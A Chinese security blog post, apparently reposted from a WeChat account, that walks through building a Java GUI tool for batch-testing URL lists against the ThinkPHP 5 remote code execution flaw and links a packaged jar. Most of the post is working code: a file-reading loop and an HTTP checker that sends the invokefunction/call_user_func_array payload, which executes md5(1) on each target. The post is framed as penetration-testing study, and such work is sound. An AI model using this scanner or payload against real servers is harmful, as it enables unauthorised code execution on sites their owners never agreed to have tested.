【java安全】java编写可视化批量exp测试工具

admin 2023年1月8日01:16:45评论31 views字数 2906阅读9分41秒阅读模式
【java安全】java编写可视化批量exp测试工具

大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,上一篇介绍了单个网址进行检测的工具编写,这次弄个批量的,批量的需求挺大的。稍微改一下脚本即可。

【java安全】java编写可视化批量exp测试工具

下载:

tp5rce.jar
https://www.aliyundrive.com/s/PCtaXoZSABK

1批量思路

批量:就是读取文本内容 遍历每行的内容再进行测试。

文本读取->遍历网址->测试

代码

package exp;

import java.io.*;

public class test {
public static void main(String[] args) throws Exception {

InputStreamReader br = new InputStreamReader(new FileInputStream(new File("D:\tools\javagui\src\main\java\exp\url.txt")), "UTF-8");
BufferedReader reader = new BufferedReader(br);
String str;

while ((str = reader.readLine()) != null) {
System.out.println(str);
}
}
}

效果

【java安全】java编写可视化批量exp测试工具

2编写批量

界面跟上一篇界面差不多 只是多了个按钮和文件选择框。代码有详细说明

package exp;
import com.github.kevinsawicki.http.HttpRequest;
import javax.swing.*;
import java.io.*;
import java.net.URISyntaxException;

public class tp5rce {
public static void main(String[] args) throws URISyntaxException, UnsupportedEncodingException {
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce批量 师承暗月大师傅");
frame.setBounds(500,500,650,500);
frame.setLayout(null);
JLabel jLabel = new JLabel("导入URL:");
jLabel.setBounds(10,10,100,50);
JButton btnEnter = new JButton("检测");
JButton btnURL = new JButton("点击导入URL");
JLabel mLabel = new JLabel("返回信息:");
JTextField jTextField = new JTextField();
JTextArea jTextArea = new JTextArea();
jTextArea.setLineWrap(true);
jTextArea.setBounds(70,80,500,300);
jTextField.setBounds(70,10,250,50);
mLabel.setBounds(10,70,100,50);
btnEnter.setBounds(460,10,100,50);
btnURL.setBounds(330,10,100,50);
frame.add(btnEnter);
frame.add(btnURL);
frame.add(jLabel);
frame.add(mLabel);
frame.add(jTextField);
frame.add(jTextArea);
frame.setVisible(true);
//上面这个部分都是界面

frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);

btnURL.addActionListener(e -> {
JFileChooser chooser = new JFileChooser(); //创建选择框
chooser.showOpenDialog(null);
String filePath=chooser.getSelectedFile().getAbsolutePath(); //获取文件路径
jTextField.setText(filePath); //设置文本框

});

btnEnter.addActionListener(e -> {
if(jTextField.getText().trim().equals("")){//判断文本是否为空
JOptionPane.showMessageDialog(frame, "导入的文本不能为空", "标题",JOptionPane.WARNING_MESSAGE);
}
File file = new File(jTextField.getText().trim());

try{
//读取文本
InputStreamReader br = new InputStreamReader(new FileInputStream(file), "UTF-8");
BufferedReader reader = new BufferedReader(br);
String str;

while ((str = reader.readLine()) != null) { //循环读取测试
jTextArea.append("正在测试:"+str+"n");
jTextArea.append(result(str));
}

}catch (IOException e1){
e1.printStackTrace();
}

});

}
public static String result(String url){
String payload = "/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";
try {
if (vulTest(url,payload)==true){
return "存在漏洞 n"+"测试语句: "+payload+"n";
}
} catch (Exception e) {
e.printStackTrace();
}
return "不存在漏洞n";
}

public static Boolean vulTest(String url,String payload) throws Exception{
String checkstr = "c4ca4238a0b923820dcc509a6f75849b"; //md5 检测值
HttpRequest req = HttpRequest.get(url+payload);
if( req.body().contains(checkstr)){
return true;
}
return false;
}

}

编译测试

【java安全】java编写可视化批量exp测试工具

打包jar

【java安全】java编写可视化批量exp测试工具

3关注

长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术

【java安全】java编写可视化批量exp测试工具

原文始发于微信公众号(moonsec):【java安全】java编写可视化批量exp测试工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月8日01:16:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【java安全】java编写可视化批量exp测试工具http://cn-sec.com/archives/1505264.html

发表评论

匿名网友 填写信息